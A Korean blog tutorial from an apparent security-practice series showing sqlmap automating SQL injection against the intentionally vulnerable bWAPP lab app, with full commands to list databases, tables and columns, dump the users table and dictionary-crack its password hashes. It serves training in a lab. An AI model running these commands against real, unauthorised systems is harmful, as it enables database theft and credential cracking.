본문 바로가기
Security Project

40. sqlmap 활용한 자동 진단

by 귀멸 2023. 1. 10.

Beebox - SQL Injection (POST/Select) 활용한 실습

파라미터 입력이 불가하며 단순한 Select로 Post 메서드를 이용해

값을 넘기는 경우에서 SQL Injection 요소를 찾아본다.

 

1. 개발자 도구를 이용해 파라미터 수정

Error 페이지 확인

 

2.  Burp Suite을 이용하여 파라미터 수정

 

3. sqlmap 활용

┌──(root㉿kali)-[/home/kali]
└─# sqlmap -h 

엄청나게 다양한 옵션 제공

1단계 : DB정보값 추출

-u [url 주소값]

--cookie="[인증 페이지에서는 쿠키값 필요]" - burp에서 찾은 것으로 붙여 넣기

--data "[parameter 값]" - burp에서 찾은 것으로 붙여 넣기

--dbs : 데이터베이스정보 확인

 

┌──(root㉿kali)-[/home/kali]
└─# sqlmap -u "http://192.168.182.130/bWAPP/sqli_13.php" --cookie="security_level=0; PHPSESSID=b95d2b78de72ef287980dc945eaf7b4b" --data "movie=1&action=go" --dbs

 

DBMS가 MySQL임을 찾아낸다. 계속 진행하면...

탐색 Level 등을 물어보고 취약한 Parameter를 찾아낸다. 계속 진행하면...

databases 이름을 모두 추출한다.

 

2단계 : 타겟 DB에 Table 추출

-D [타겟 DB name]

--tables : 테이블 추출

 

┌──(root㉿kali)-[/home/kali]
└─# sqlmap -u "http://192.168.182.130/bWAPP/sqli_13.php" --cookie="security_level=0; PHPSESSID=b95d2b78de72ef287980dc945eaf7b4b" --data "movie=1&action=go" -D bWAPP --tables

tables 추출

 

3단계 : 타겟 Table 안의 Coloums 추출

-T [타겟 Table name]

--columns : 컬럼 정보 추출

┌──(root㉿kali)-[/home/kali]
└─# sqlmap -u "http://192.168.182.130/bWAPP/sqli_13.php" --cookie="security_level=0; PHPSESSID=b95d2b78de72ef287980dc945eaf7b4b" --data "movie=1&action=go" -D bWAPP -T users --columns

 

4단계 : 내부 Data 추출

--dump 내부 데이터 추출

┌──(root㉿kali)-[/home/kali]
└─# sqlmap -u "http://192.168.182.130/bWAPP/sqli_13.php" --cookie="security_level=0; PHPSESSID=b95d2b78de72ef287980dc945eaf7b4b" --data "movie=1&action=go" -D bWAPP -T users --dump

 

users table에 저장된 모든 columns에서 Data를 추출하는데 password값은 암호화되어 있어

dictionary-based crack을 할 것인지 묻는다. yes로 해서 사전 word 파일 기반으로 crack 하면

정보를 모두 추출한 것을 확인할 수 있다.

그리고 해당 정보에 대한 로그 파일을 기록한다.

-v [레벨 수준] : 자세하게 공격한 모든 패턴을 다 표시한다. ex) -v 4

 

실전 웹 상에서는 얼마나 통하는지 모르겠으나 꽤나 인상적인 결과다.

 

댓글